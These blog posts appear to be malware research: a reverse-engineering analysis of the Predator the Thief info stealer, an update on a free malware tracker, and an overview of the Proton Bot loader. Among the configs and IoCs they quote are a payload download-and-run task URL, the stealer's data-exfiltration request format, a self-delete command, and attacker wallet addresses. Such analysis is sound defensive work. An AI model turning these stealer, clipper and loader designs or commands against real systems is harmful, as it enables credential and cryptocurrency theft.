Besides using XOR almost absolutely everywhere, this info stealer is using a mix of RC4 encryption and base64 encoding whenever it is receiving data from the C&C. Without using specialized tools or paid versions of IDA (or whatever other software), it could be a bit challenging to recognize it (when you are a junior analyst), due to some modification of some part of the code.

Base64

For the Base64 functions, it's extremely easy to spot them, with the symbol values on the register before and after calls. The only thing to notice with them, it's that they are using a typical signature... A whole bloc of XOR stack strings, I believed that this trick is designed to hide an eventual Base64 alphabet from some Yara rules.

base64_xored

By the way, the rest of the code remains identical to standard base64 algorithms.

RC4

For RC4, things could be a little bit messy if you are not familiar at all with encryption algorithm on a disassembler/debugger, for some cases it could be hell, for some case not. Here, it's, in fact, this amount of code for performing the process.

RC4

Blocs are representing the Generation of the array S, then performing the Key-Scheduling Algorithm (KSA) by using a specific secret key that is, in fact, the C&C domain! (if there is no domain, but an IP hardcoded, this IP is the secret key), then the last one is the Pseudo-random generation algorithm (PRGA).

For more info, some resources about this algorithm below:

Mutex & Hardware ID

The Hardware ID (HWID) and mutex are related, and the generation is quite funky,  I would say, even if most of the people will consider this as something not important to investigate, I love small details in malware, even if their role is maybe meaningless, but for me, every detail counts no matter what (even the stupidest one).

Here the hardware ID generation is split into 3 main parts. I had a lot of fun to understand how this one was created.

First, it will grab all the available logical drives on the compromised machine, and for each of them, the serial number is saved into a temporary variable. Then, whenever a new drive is found, the hexadecimal value is added to it. so basically if the two drives have the serial number "44C5-F04D" and "1130-DDFF", so ESI will receive 0x44C5F04D then will add 0x1130DFF.

When it's done, this value is put into a while loop that will divide the value on ESI by 0xA and saved the remainder into another temporary variable, the loop condition breaks when ESI is below 1. Then the results of this operation are saved, duplicated and added to itself the last 4 bytes (i.e 1122334455 will be 112233445522334455).

If this is not sufficient, the value is put into another loop for performing this operation.

for i, s in enumerate(str):
  if i & 1:
    a += chr(s) + 0x40
  else:
    a += chr(s)

It results in the creation of an alphanumeric string that will be the archive filename used during the POST request to the C&C.

predator_mutex

the generated hardware ID based on the serial number devices

But wait! there is more... This value is in part of the creation of the mutex name... with a simple base64 operation on it and some bit operand operation for cutting part of the base64 encoding string for having finally the mutex name!

Anti-CIS

A classic thing in malware, this feature is used for avoiding infecting machines coming from the Commonwealth of Independent States (CIS) by using a simple API call GetUserDefaultLangID.

Anti_CIS

The value returned is the language identifier of the region format setting for the user and checked by a lot of specific language identifier, of courses in every situation, all the values that are tested, are encrypted.

Language ID SubLanguage Symbol Country
0x0419 SUBLANG_RUSSIAN_RUSSIA Russia
0x042b SUBLANG_ARMENIAN_ARMENIA Armenia
0x082c SUBLANG_AZERI_CYRILLIC Azerbaijan
0x042c SUBLANG_AZERI_LATIN Azerbaijan
0x0423 SUBLANG_BELARUSIAN_BELARUS Belarus
0x0437 SUBLANG_GEORGIAN_GEORGIA Georgia
0x043f SUBLANG_KAZAK_KAZAKHSTAN Kazakhstan
0x0428 SUBLANG_TAJIK_TAJIKISTAN Tajikistan
0x0442 SUBLANG_TURKMEN_TURKMENISTAN Turkmenistan
0x0843 SUBLANG_UZBEK_CYRILLIC Uzbekistan
0x0443 SUBLANG_UZBEK_LATIN Uzbekistan
0x0422 SUBLANG_UKRAINIAN_UKRAINE Ukraine

Files, files where are you?

When I reversed for the first time this stealer, files and malicious archive were stored on the disk then deleted. But right now, this is not the case anymore. Predator is managing all the stolen data into memory for avoiding as much as possible any extra traces during the execution.

Predator is nowadays creating in memory a lot of allocated pages and temporary files that will be used for interactions with real files that exist on the disk. Most of the time it's basically getting handles, size and doing some operation for opening, grabbing content and saving them to a place in memory. This explanation is summarized in a "very" simplify way because there are a lot of cases and scenarios to manage this. 

Another point to notice is that the archive (using ZIP compression), is also created in memory by selecting folder/files.

zip_generation_02

The generated archive in memory

It doesn't mean that the whole architecture for the files is different, it's the same format as before.

Default_Archive

an example of archive intercepted during the C&C Communication

Stealing

After explaining this many times about how this stuff, the fundamental idea is boringly the same for every stealer:

  • Check
  • Analyzing (optional)
  • Parsing (optional)
  • Copy
  • Profit
  • Repeat

What could be different behind that, is how they are obfuscating the files or values to check... and guess what... every malware has their specialties (whenever they are not decided to copy the same piece of code on Github or some whatever generic .NET stealer) and in the end, there is no black magic, just simple (or complex) enigma to solve. As a malware analyst, when you are starting into analyzing stealers, you want literally to understand everything, because everything is new, and with the time, you realized the routine performed to fetch the data and how stupid it is working well (as reminder, it might be not always that easy for some highly specific stuff).

In the end, you just want to know the targeted software, and only dig into those you haven't seen before, but every time the thing is the same:

  • Checking dumbly a path
  • Checking a register key to have the correct path of a software
  • Checking a shortcut path based on an icon
  • etc...

Beside that Predator the Thief is stealing a lot of different things:

  1. Grabbing content from Browsers (Cookies, History, Credentials)
  2. Harvesting/Fetching Credit Cards
  3. Stealing sensible information & files from Crypto-Wallets
  4. Credentials from FTP Software
  5. Data coming from Instant communication software
  6. Data coming from Messenger software
  7. 2FA Authenticator software
  8. Fetching Gaming accounts
  9. Credentials coming from VPN software
  10. Grabbing specific files (also dynamically)
  11. Harvesting all the information from the computer (Specs, Software)
  12. Stealing Clipboard (if during the execution of it, there is some content)
  13. Making a picture of yourself (if your webcam is connected)
  14. Making screenshot of your desktop
  15. It could also include a Clipper (as a modular feature).
  16. And... due to the module manager, other tasks that I still don't have mentioned there (that also I don't know who they are).

Let's explain just some of them that I found worth to dig into.

Browsers

Since my last analysis, things changed for the browser part and it's now divided into three major parts.

  • Internet Explorer is analyzed in a specific function developed due that the data is contained into a "Vault", so it requires a specific Windows API to read it.
  • Microsoft Edge is also split into another part of the stealing process due that this one is using unique files and needs some tasks for the parsing.
  • Then, the other browsers are fetched by using a homemade static grabber

Browsers

Grabber n°1 (The generic one)

It's pretty fun to see that the stealing process is using at least one single function for catching a lot of things. This generic grabber is pretty "cleaned" based on what I saw before even if there is no magic at all, it's sufficient to make enough damages by using a recursive loop at a specific place that will search all the required files & folders.

By comparing older versions of predator, when it was attempting to steal content from browsers and some wallets, it was checking step by step specific repositories or registry keys then processing into some loops and tasks for fetching the credentials. Nowadays, this step has been removed (for the browser part) and being part of this raw grabber that will parse everything starting to %USERS% repository.

grabber

As usual, all the variables that contain required files are obfuscated and encrypted by a simple XOR algorithm and in the end, this is the "static" list that the info stealer will be focused

File grabbed Type Actions
Login Data Chrome / Chromium based Copy & Parse
Cookies Chrome / Chromium based Copy & Parse
Web Data Browsers Copy & Parse
History Browsers Copy & Parse
formhistory.sqlite Mozilla Firefox & Others Copy & Parse
cookies.sqlite Mozilla Firefox & Others Copy & Parse
wallet.dat Bitcoin Copy & Parse
.sln Visual Studio Projects Copy filename into Project.txt
main.db Skype Copy & Parse
logins.json Chrome Copy & Parse
signons.sqlite Mozilla Firefox & Others Copy & Parse
places.sqlite Mozilla Firefox & Others Copy & Parse
Last Version Mozilla Firefox & Others Copy & Parse

Grabber n°2 (The dynamic one)

There is a second grabber in Predator The Thief, and this not only used when there is available config loaded in memory based on the first request done to the C&C. In fact, it's also used as part of the process of searching & copying critical files coming from wallets software, communication software, and others...

dynamic_grabber

The "main function" of this dynamic grabber only required three arguments:

  • The path where you want to search files
  • the requested file or mask
  • A path where the found files will be put in the final archive sent to the C&C

dynamic_grabber_args

When the grabber is configured for a recursive search, it's simply adding at the end of the path the value ".." and checking if the next file is a folder to enter again into the same function again and again.

In the end, in the fundamentals, this is almost the same pattern as the first grabber with the only difference that in this case, there are no parsing/analyzing files in an in-depth way. It's simply this follow-up

  1. Find a matched file based on the requested search
  2. creating an entry on the stolen archive folder
  3. setting a handle/pointer from the grabbed file
  4. Save the whole content to memory
  5. Repeat

Of course, there is a lot of particular cases that are to take in consideration here, but the main idea is like this.

What Predator is stealing in the end?

If we removed the dynamic grabber, this is the current list (for 3.3.2) about what kind of software that is impacted by this stealer, for sure, it's hard to know precisely on the browser all the one that is impacted due to the generic grabber, but in the end, the most important one is listed here.

VPN

  • NordVPN

Communication

  • Jabber
  • Discord
  • Skype

FTP

  • WinSCP
  • WinFTP
  • FileZilla

Mails

  • Outlook

2FA Software

  • Authy (Inspired by Vidar)

Games

  • Steam
  • Battle.net (Inspired by Kpot)
  • Osu

Wallets

  • Electrum
  • MultiBit
  • Armory
  • Ethereum
  • Bytecoin
  • Bitcoin
  • Jaxx
  • Atomic
  • Exodus

Browser

  • Mozilla Firefox (also Gecko browsers using same files)
  • Chrome (also Chromium browsers using same files)
  • Internet Explorer
  • Edge
  • Unmentioned browsers using the same files detected by the grabber.

Also beside stealing other actions are performed like:

  • Performing a webcam picture capture
  • Performing a desktop screenshot

Loader

There is currently 4 kind of loader implemented into this info stealer

  1. RunPE
  2. CreateProcess
  3. ShellExecuteA
  4. LoadPE
  5. LoadLibrary

For all the cases, I have explained below (on another part of this analysis) what are the options of each of the techniques performed. There is no magic, there is nothing to explain more about this feature these days. There are enough articles and tutorials that are talking about this. The only thing to notice is that Predator is designed to load the payload in different ways, just by a simple process creation or abusing some process injections (i recommend on this part, to read the work from endgame).

Module Manager

Something really interesting about this stealer these days, it that it developed a feature for being able to add the additional tasks as part of a module/plugin package. Maybe the name of this thing is wrongly named (i will probably be fixed soon about this statement). But now it's definitely sure that we can consider this malware as a modular one.

Module Manager

When decrypting the config from check.get, you can understand fast that a module will be launched, by looking at the last entry...

[PREDATOR_CONFIG]#[GRABBER]#[NETWORK_INFO]#[LOADER]#[example]

This will be the name of the module that will be requested to the C&C. (this is also the easiest way to spot a new module).

  • example.get
  • example.post

The first request is giving you the config of the module (on my case it was like this), it's saved but NOT decrypted (looks like it will be dealt by the module on this part). The other request is focused on downloading the payload, decrypting it and saving it to the disk in a random folder in %PROGRAMDATA% (also the filename is generated also randomly), when it's done, it's simply executed by ShellExecuteA.

shellexecute_module

Also, another thing to notice, you know that it's designed to launch multiple modules/plugins.

Clipper (Optional module)

The clipper is one example of the Module that could be loaded by the module manager. As far as I saw, I only see this one (maybe they are other things, maybe not, I don't have the visibility for that).

Disclaimer: Before people will maybe mistaken, the clipper is proper to Predator the Thief and this is NOT something coming from another actor (if it's the case, the loader part would be used).

clipper_main

Clipper WinMain function

This malware module is developed in C++, and like Predator itself, you recognized pretty well the obfuscation proper to it (Stack strings, XOR, SUB, Code spaghetti, GetProcAddress recreated...). Well, everything that you love for slowing down again your analysis.

As detailed already a little above, the module is designed to grab the config from the main program, decrypting it and starting to do the process routine indefinitely:

  1. Open Clipboard
  2. Checking content based on the config loaded
  3. If something matches put the malicious wallet
  4. Sleep
  5. Repeat

The clipper config is rudimentary using "|" as a delimiter. Mask/Regex on the left, malicious wallet on the right.

1*:1Eh8gHDVCS8xuKQNhCtZKiE1dVuRQiQ58H|
3*:1Eh8gHDVCS8xuKQNhCtZKiE1dVuRQiQ58H|
0x*:0x7996ad65556859C0F795Fe590018b08699092B9C|
q*:qztrpt42h78ks7h6jlgtqtvhp3q6utm7sqrsupgwv0|
G*:GaJvoTcC4Bw3kitxHWU4nrdDK3izXCTmFQ|
X*:XruZmSaEYPX2mH48nGkPSGTzFiPfKXDLWn|
L*:LdPvBrWvimse3WuVNg6pjH15GgBUtSUaWy|
t*:t1dLgBbvV6sXNCMUSS5JeLjF4XhhbJYSDAe|
4*:44tLjmXrQNrWJ5NBsEj2R77ZBEgDa3fEe9GLpSf2FRmhexPvfYDUAB7EXX1Hdb3aMQ9FLqdJ56yaAhiXoRsceGJCRS3Jxkn|
D*:DUMKwVVAaMcbtdWipMkXoGfRistK1cC26C|
A*:AaUgfMh5iVkGKLVpMUZW8tGuyjZQNViwDt|

There is no communication with the C&C when the clipper is switching wallet, it's an offline one.

Self Removal

When the parameters are set to 1 in the Predator config got by check.get, the malware is performing a really simple task to erase itself from the machine when all the tasks are done.

self_remove

By looking at the bottom of the main big function where all the task is performed, you can see two main blocs that could be skipped. these two are huge stack strings that will generate two things.

  • the API request "ShellExecuteA"
  • The command "ping 127.0.0.1 & del %PATH%"

When all is prepared the thing is simply executed behind the classic register call. By the way, doing a ping request is one of the dozen way to do a sleep call and waiting for a little before performing the deletion.

ShellExecuteA

This option is not performed by default when the malware is not able to get data from the C&C.

Telemetry files

There is a bunch of files that are proper to this stealer, which are generated during the whole infection process. Each of them has a specific meaning.

Information.txt

  1. Signature of the stealer
  2. Stealing statistics
  3. Computer specs
  4. Number of users in the machine
  5. List of logical drives
  6. Current usage resources
  7. Clipboard content
  8. Network info
  9. Compile-time of the payload

Also, this generated file is literally "hell" when you want to dig into it by the amount of obfuscated code.

Information

I can quote these following important telemetry files:

Software.txt

  • Windows Build Version
  • Generated User-Agent
  • List of software installed in the machine (checking for x32 and x64 architecture folders)

Actions.txt

  • List of actions & telemetry performed by the stealer itself during the stealing process

Projects.txt

  • List of SLN filename found during the grabber research (the static one)

CookeList.txt

  • List of cookies content fetched/parsed

Network

User-Agent "Builder"

Sometimes features are fun to dig in when I heard about that predator is now generating dynamic user-agent, I was thinking about some things but in fact, it's way simpler than I thought.

The User-Agent is generated in 5 steps

  1. Decrypting a static string that contains the first part of the User-Agent
  2. Using GetTickCount and grabbing the last bytes of it for generating a fake builder version of Chrome
  3. Decrypting another static string that contains the end of the User-Agent
  4. Concat Everything
  5. Profit

Tihs User-Agent is shown into the software.txt logfile.

C&C Requests

There is currently 4 kind of request seen in Predator 3.3.2 (it's always a POST request)

Request Meaning
api/check.get Get dynamic config, tasks and network info
api/gate.get ?…… Send stolen data
api/.get Get modular dynamic config
api/.post Get modular dynamic payload (was like this with the clipper)

The first step - Get the config & extra Infos

For the first request, the response from the server is always in a specific form :

  • String obviously base64 encoded
  • Encrypted using RC4 encryption by using the domain name as the key

When decrypted, the config is pretty easy to guess and also a bit complex (due to the number of options & parameters that the threat actor is able to do).

[0;1;0;1;1;0;1;1;0;512;]#[[%userprofile%\Desktop|%userprofile%\Downloads|%userprofile%\Documents;*.xls,*.xlsx,*.doc,*.txt;128;;0]]#[Trakai;Republic of Lithuania;54.6378;24.9343;85.206.166.82;Europe/Vilnius;21001]#[]#[Clipper]

It's easily understandable that the config is split by the "#" and each data and could be summarized like this

  1. The stealer config
  2. The grabber config
  3. The network config
  4. The loader config
  5. The dynamic modular config (i.e Clipper)

I have represented each of them into an array with the meaning of each of the parameters (when it was possible).

Predator config

Args Meaning
Field 1 Webcam screenshot
Field 2 Anti VM
Field 3 Skype
Field 4 Steam
Field 5 Desktop screenshot
Field 6 Anti-CIS
Field 7 Self Destroy
Field 8 Telegram
Field 9 Windows Cookie
Field 10 Max size for files grabbed
Field 11 Powershell script (in base64)

Grabber config

[]#[GRABBER]#[]#[]#[]

Args Meaning
Field 1 %PATH% using "|" as a delimiter
Field 2 Files to grab
Field 3 Max sized for each file grabbed
Field 4 Whitelist
Field 5 Recursive search (0 - off | 1 - on)

Network info

[]#[]#[NETWORK]#[]#[]

Args Meaning
Field 1 City
Field 2 Country
Field 3 GPS Coordinate
Field 4 Time Zone
Field 5 Postal Code

Loader config

[]#[]#[]#[LOADER]#[]

Format

[[URL;3;2;;;;1;amazon.com;0;0;1;0;0;5]]

Meaning

  1. Loader URL
  2. Loader Type
  3. Architecture
  4. Targeted Countries ("," as a delimiter)
  5. Blacklisted Countries ("," as a delimiter)
  6. Arguments on startup
  7. Injected process OR Where it's saved and executed
  8. Pushing loader if the specific domain(s) is(are) seen in the stolen data
  9. Pushing loader if wallets are presents
  10. Persistence
  11. Executing in admin mode
  12. Random file generated
  13. Repeating execution
  14. ???

Loader type (argument 2)

Value Meaning
1 RunPE
2 CreateProcess
3 ShellExecute
4 LoadPE
5 LoadLibrary

Architecture (argument 3)

Value Meaning
1 x32 / x64
2 x32 only
3 x64 only

If it's RunPE (argument 7)

Value Meaning
1 Attrib.exe
2 Cmd.exe
3 Audiodg.exe

If it's CreateProcess / ShellExecuteA / LoadLibrary (argument 7)

Value Meaning
1 %PROGRAMDATA%
2 %TEMP%
3 %APPDATA%

The second step - Sending stolen data

Format

/api/gate.get?p1=X&p2=X&p3=X&p4=X&p5=X&p6=X&p7=X&p8=X&p9=X&p10=X

Goal

  1. Sending stolen data
  2. Also victim telemetry

Meaning

Args Field
p1 Passwords
p2 Cookies
p3 Credit Cards
p4 Forms
p5 Steam
p6 Wallets
p7 Telegram
p8 ???
p9 ???
p10 OS Version (encrypted + encoded)*

This is an example of crafted request performed by Predator the thief

request_beacon

Third step - Modular tasks (optional)

/api/Clipper.get

Give the dynamic clipper config

/api/Clipper.post

Give the predator clipper payload

Server side

The C&C is nowadays way different than the beginning, it has been reworked with some fancy designed and being able to do some stuff:

  1. Modulable C&C
  2. Classic fancy index with statistics
  3. Possibility to configure your panel itself
  4. Dynamic grabber configuration
  5. Telegram notifications
  6. Backups
  7. Tags for specific domains

Index

The predator panel changed a lot between the v2 and v3. This is currently a fancy theme one, and you can easily spot the whole statistics at first glance. the thing to notice is that the panel is fully in Russian (and I don't know at that time if there is an English one).

Predator_Panel_Index

Menu on the left is divide like this (but I'm not really sure about the correct translation)

Меню (Menu)
Статистика (Stats)

  • Логов (Logs)
  • По странам (Country stats)
  • Лоадера (Loader Stats)

Логи (Logs)

  • Обычная

Модули (Modules)

  • Загрузить модуль (Download/Upload Module)

Настройки (Settings)

  • Настройки сайта (Site settings)
  • Телеграм бот (Telegram Bot)
  • Конфиг (Config)

Граббер (Grabber)
Лоадер (Loader)
Domain Detect
Backup
Поиск (Search)
Конвертация (Converter => Netscape Json converter)

Statistics / Landscape

region

Predator Config

In term of configuring predator, the choices are pretty wild:

  • The actor is able to tweak its panel, by modifying some details, like the title and detail that made me laugh is you can choose a dark theme.

config_part1

  • There is also another form, the payload config is configured by just ticking options. When done, this will update the request coming from check.get

conf

  • As usual, there is also a telegram bot feature

telegram_bot

Creating Tags for domains seen

Small details which were also mentioned in Vidar, but if the actor wants specific attention for bots that have data coming from specific domains, it will create a tag that will help him to filter easily which of them is probably worth to dig into.

domain

Loader config

The loader configuration is by far really interesting in my point of view and even it has been explained totally for its functionalities, I considered it pretty complete and user-friendly for the Threat Actor that is using it.

loader

IoCs

Hashes for this analysis

p_pckd.exe - 21ebdc3a58f3d346247b2893d41c80126edabb060759af846273f9c9d0c92a9a
p_upkd.exe - 6e27a2b223ef076d952aaa7c69725c831997898bebcd2d99654f4a1aa3358619
p_clipper.exe - 01ef26b464faf08081fceeeb2cdff7a66ffdbd31072fe47b4eb43c219da287e8

C&C

  • cadvexmail19mn.world

Other predator hashes

  • 9110e59b6c7ced21e194d37bb4fc14b2
  • 51e1924ac4c3f87553e9e9c712348ac8
  • fe6125adb3cc69aa8c97ab31a0e7f5f8
  • 02484e00e248da80c897e2261e65d275
  • a86f18fa2d67415ac2d576e1cd5ccad8
  • 3861a092245655330f0f1ffec75aca67
  • ed3893c96decc3aa798be93192413d28

Conclusion

Infostealer is not considered as harmful as recent highly mediatize ransomware attacks, but they are enough effective to perform severe damage and they should not be underrated, furthermore, with the use of cryptocurrencies that are more and more common, or something totally normal nowadays, the lack of security hygiene on this subject is awfully insane. that I am not surprised at all to see so much money stolen, so they will be still really active, it's always interesting to keep an eye on this malware family (and also on clippers), whenever there is a new wallet software or trading cryptocurrency software on the list, you know easily what are the possible trends (if you have a lack of knowledge in that area).

Nowadays, it's easy to see fresh activities in the wild for this info stealer, it could be dropped by important malware campaigns where notorious malware like ISFB Gozi is also used. It's unnecessary (on my side) to speculate about what will be next move with Predator, I have clearly no idea and not interested in that kind of stuff. The thing is the malware scene nowadays is evolving really fast, threat actor teams are moving/switching easily and it could take only hours for new updates and rework of malware by just modifying a piece of code with something already developed on some GitHub repository, or copying code from another malware. Also, the price of the malware has been adjusted, or the support communication is moved to something else.

Due to this,  I am pretty sure at that time, this current in-depth analysis could be already outdated by some modifications. it's always a risk to take and on my side, I am only interested in the malware itself, the main ideas/facts of the major version are explained and it's plenty sufficient. There is, of course, some topics that I haven't talk like nowadays predator is now being to work as a classic executable file or a DLL, but it was developed some times ago and this subject is now a bit popular. Also, another point that I didn't find any explanation, is that seeing some decrypting process for strings that leads to some encryption algorithm related to Tor.

This in-depth analysis is also focused on showing that even simple tricks are an efficient way to slow down analysis and it is a good exercise to practice your skills if you want to improve yourself into malware analysis. Also, reverse engineering is not as hard as people could think when the fundamental concepts are assimilated, It's just time, practice and motivation.


On my side, I am, as usual, typically irregular into releasing stuff due to some stuff (again...). By the way, updating projects are still one of my main focus, I still have some things that I would love to finish which are not necessarily into malware analysis, it's cool to change topics sometimes.

kob

#HappyHunting

Haruko Malware Tracker – 1 Year Anniversary Update

27 August 2019 at 06:36
By: fumko

Hi folks,

It's been one year that the tracker (https://tracker.fumik0.com) is now active and over this past months, I understood that maintaining this solo project was definitely not an easy task. But, right now, Haruko is step by step a growing place that provides a start for OSINT stuff, learning Reverse malware analysis or helping some blue team people when they have to analyze some samples.

If I could summarize this malware tracker in one year:

  1. 2600+ Samples
  2. A learning tab with dozen of exercises added
  3. A malware tab with 40+ notes for quick tips with some malware implemented
  4. An Unlimited API

... and this everything is free.

It's pretty obvious that some companies are grabbing some data from my project to resell them after without any credits, or changing the name of the sample by adding tags for other commercial bullshit nonsense to prove they are the first on it, That's all part of the game, that's life.

At first, this tracker was created due, that a lot of people can even afford to have tools or services, for being able just to search, download, analyzed samples and improve their skills. This is a good start among other Free services to start your OSINT and learning some stuff. If this tracker is helping students, teachers to provide courses, helping Junior Analyst or just curious, that's the most important thing.

New section - Wallet

Since some years right now, cryptocurrencies are now part of the cybercrime landscape, with more and more trends on it. So, For having an idea, which of them are used/abused by threat actors, it could be a good thing to centralized them.

wallet_update

API

/api/get-wallets
/api/wallet/value

Why the idea of this branch?

  1. Plug the API into the step of the transaction, for a better security approach
  2. If a wallet is switched by a clipper, the API request is a way to check if, in the DB, this one is already known for some malicious activities and could be blocked easily.

New field - Domain

For OSINT research, the field "domain" has been added

domain

On the website

domain_update

Example in JSON format

 
   "first_seen":"2018-08-05",
   "first_seen_details":"1533469173",
   "hash": 
      "md5":"ca92b2a06320fa138989ead470e6b8f5",
      "sha1":"feb71e950f43eac5037def7513f7c4e5eb3d76cc",
      "sha256":"af2c63561aa10a1e444471706a5ea35f951795dff4bb1fc735fdf05c8f30b998"
   },
   "hash_seen":1,
   "id":"5b66e1f5143e9a34ec8a3752",
   "sample": 
      "name":"jardata.exe",
      "size":"1102336"
   },
   "server": 
      "AS":"AS16509",
      "country":"us",
      "domain":"bitbucket.org",
      "ip":"52.216.84.40",
      "url":"bitbucket.org/kent9876/test/downloads/jardata.exe"
   }
}

Updates on API

I have made some little tweaks about the API possibilities, there is now some new ones available

/api/ip/value
/api/domain/value
/api/as/value
/api/country/value
/api/md5/value
/api/sha256/value

What next?

I have some other things that I want to release before the end of this year (unrelated to this tracker), but not sure if I will have enough time to complete everything, but yes another content & ideas are coming.

If you want to participate in this project, contact me.

Fumi o/

Overview of Proton Bot, another loader in the wild!

24 May 2019 at 12:27
By: fumko

Loaders nowadays are part of the malware landscape and it is common to see on sandbox logs results with "loader" tagged on. Specialized loader malware like Smoke or Hancitor/Chanitor are facing more and more with new alternatives like Godzilla loader, stealers, miners and plenty other kinds of malware with this developed feature as an option. This is easily catchable and already explained in earlier articles that I have made.

Since a few months, another dedicated loader malware appears from multiple sources with the name of "Proton Bot" and on my side, first results were coming from a v0.30 version. For this article, the overview will focus on the latest one, the v1.

Sold 50$ (with C&C panel) and developed in C++, its cheaper than Smoke (usually seen with an average of 200$/300$) and could explain that some actors/customers are making some changes and trying new products to see if it's worth to continue with it. The developer behind (glad0ff), is not as his first malware, he is also behind Acrux & Decrux.

[Disclamer: This article is not a deep in-depth analysis]

Analyzed sample

Something that I am finally glad by reversing this malware is that I'm not in pain for unpacking a VM protected sample. By far this is the "only one" that I've analyzed from this developer this is not using Themida, VMprotect or Enigma Protector.

So seeing finally a clean PE is some kind of heaven.

Behavior

When the malware is launched, it's retrieving the full path of the executed module by calling GetModuleFilename, this returned value is the key for Proton Bot to verify if this, is a first-time interaction on the victim machine or in contrary an already setup and configured bot. The path is compared with a corresponding name & repository hardcoded into the code that are obviously obfuscated and encrypted.

This call is an alternative to GetCommandLine on this case.

ComparePath

On this screenshot above, EDI contains the value of the payload executed at the current time and EAX, the final location. At that point with a lack of samples in my possession, I cannot confirm this path is unique for all Proton Bot v1 or multiple fields could be a possibility, this will be resolved when more samples will be available for analysis...

Next, no matter the scenario, the loader is forcing the persistence with a scheduled task trick. Multiple obfuscated blocs are following a scheme to generating the request until it's finally achieved and executed with a simple ShellExecuteA call.

Tasks

With a persistence finally integrated, now the comparison between values that I showed on registers will diverge into two directions :

If paths are different

  1. Making an HTTP Request on "http://iplogger.org/1i237a" for grabbing the Bot IP
  2. Creating a folder & copying the payload with an unusual way that I will explain later.
  3. Executing proton bot again in the correct folder with CreateProcessA
  4. Exiting the current module

if paths are identical

  1. two threads are created for specific purposes
    1. one for the loader
    2. the other for the clipper

      Threads

  2. At that point, all interactions between the bot and the C&C will always be starting with this format :
/page.php?id=%GUID%

%GUID% is, in fact, the Machine GUID, so on a real scenario, this could be in an example this value "fdff340f-c526-4b55-b1d1-60732104b942".

Summary

  • Mutex
dsks102d8h911s29
  • Loader Path
%APPDATA%/NvidiaAdapter
  • Loader Folder

ProtonBotFolder

  • Schedule Task

Schtasks

  • Process

TaskProcess

A unique way to perform data interaction

This loader has an odd and unorthodox way to manipulate the data access and storage by using the Windows KTM library. This is way more different than most of the malware that is usually using easier ways for performing tasks like creating a folder or a file by the help of the FileAPI module.

The idea here, it is permitting a way to perform actions on data with the guarantee that there is not even a single error during the operation. For this level of reliability and integrity, the Kernel Transaction Manager (KTM) comes into play with the help of the Transaction NTFS (TxF).

For those who aren't familiar with this, there is an example here :

Transaction

  1. CreateTransaction is called for starting the transaction process
  2. The requested task is now called
  3. If everything is good, the Transaction is finalized with a commit (CommitTransaction) and confirming the operation is a success
  4. If a single thing failed (even 1 among 10000 tasks), the transaction is rolled back with RollbackTransaction

In the end, this is the task list used by ProtonBot are:

This different way to interact with the Operating System is a nice way to escape some API monitoring or avoiding triggers from sandboxes & specialized software. It's a matter time now to hotfix and adjusts this behavior for having better results.

The API used has been also used for another technique with analysis of the banking malware Osiris by @hasherezade

Anti-Analysis

There are three main things exploited here:

  • Stack String
  • Xor encryption
  • Xor key adjusted with a NOT operand

By guessing right here, with the utilization of stack strings, the main ideas are just to create some obfuscation into the code, generating a huge amount of blocks during disassembling/debugging to slow down the analysis. This is somewhat, the same kind of behavior that Predator the thief is abusing above v3 version.

Obfuscation

The screenshot as above is an example among others in this malware about techniques presented and there is nothing new to explain in depth right here, these have been mentioned multiple times and I would say with humor that C++ itself is some kind of Anti-Analysis, that is enough to take some aspirin.

Loader Architecture

The loader is divided into 5 main sections :

  1. Performing C&C request for adding the Bot or asking a task.
  2. Receiving results from C&C
  3. Analyzing OpCode and executing to the corresponding task
  4. Sending a request to the C&C to indicate that the task has been accomplished
  5. Repeat the process [GOTO 1]

C&C requests

Former loader request

Path base

/page.php

Required arguments

Argument Meaning API Call / Miscellaneous
id Bot ID RegQueryValueExA - MachineGUID
os Operating System RegQueryValueExA - ProductName
pv Account Privilege Hardcoded string - "Admin"
a Antivirus Hardcoded string - "Not Supported"
cp CPU Cpuid (Very similar code)
gp GPU EnumDisplayDevicesA
ip IP GetModuleFileName (Yup, it's weird)
name Username RegQueryValueExA - RegisteredOwner
ver Loader version Hardcoded string - "1.0 Release"
lr ??? Hardcoded string - "Coming Soon"

Additional fields when a task is completed

Argument Meaning API Call / Miscellaneous
op OpCode Integer
td Task ID Integer

Task format

The task format is really simple and is presented as a simple structure like this.

Task Name;Task ID;Opcode;Value

Tasks OpCodes

When receiving the task, the OpCode is an integer value that permits to reach the specified task. At that time I have count 12 possible features behind the OpCode, some of them are almost identical and just a small tweak permits to differentiate them.

OpCode Feature
1 Loader
2 Self-Destruct
3 Self-Renewal
4 Execute Batch script
5 Execute VB script
6 Execute HTML code
7 Execute Powershell script
8 Download & Save new wallpaper
9 ???
10 ???
11 ???
12 (Supposed) DDoS

For those who want to see how the loader part looks like on a disassembler, it's quite pleasant (sarcastic)

Loader

the joy of C++

Loader main task

The loader task is set to the OpCode 1. in real scenario this could remain at this one :

newtask;112;1;http://187.ip-54-36-162.eu/uploads/me0zam1czo.exe

This is simplest but accurate to do the task

  1. Setup the downloaded directory on %TEMP% with GetTempPathA
  2. Remove footprints from cache DeleteUrlCacheEntryA
  3. Download the payload - URLDownloadToFileA
  4. Set Attributes to the file by using transactions

    LoaderTransaction

  5. Execute the Payload - ShellExecuteA

Other features

Clipper

Clipper fundamentals are always the same and at that point now, I'm mostly interested in how the developer decided to organize this task. On this case, this is simplest but enough to performs accurately some stuff.

The first main thing to report about it, it that the wallets and respective regular expressions for detecting them are not hardcoded into the source code and needs to perform an HTTP request only once on the C&C for setting-up this :

/page.php?id=%GUID%&clip=get

The response is a consolidated list of a homemade structure that contains the configuration decided by the attacker. The format is represented like this:

[
  id,             # ID on C&C
  name,           # ID Name (i.e: Bitcoin)
  regex,          # Regular Expression for catching the Wallet
  attackerWallet  # Switching victim wallet with this one
]

At first, I thought, there is a request to the C&C when the clipper triggered a matched regular expression, but it's not the case here.

On this case, the attacker has decided to target some wallets:

  • Bitcoin
  • Dash
  • Litecoin
  • Zcash
  • Ethereum
  • DogeCoin

if you want an in-depth analysis of a clipper task, I recommend you to check my other articles that mentioned in details this (Megumin & Qulab).

DDos

Proton has an implemented layer 4 DDoS Attack, by performing spreading the server TCP sockets requests with a specified port using WinSocks

Ddos

Executing scripts

The loader is also configured to launch scripts, this technique is usually spotted and shared by researchers on Twitter with a bunch of raw Pastebin links downloaded and adjusted to be able to work.

  1. Deobfuscating the selected format (.bat on this case)

    obfuscated_format

  2. Download the script on %TEMP%
  3. Change type of the downloaded script
  4. Execute the script with ShellExecuteA

Available formats are .bat, .vbs, .ps1, .html

Wallpaper

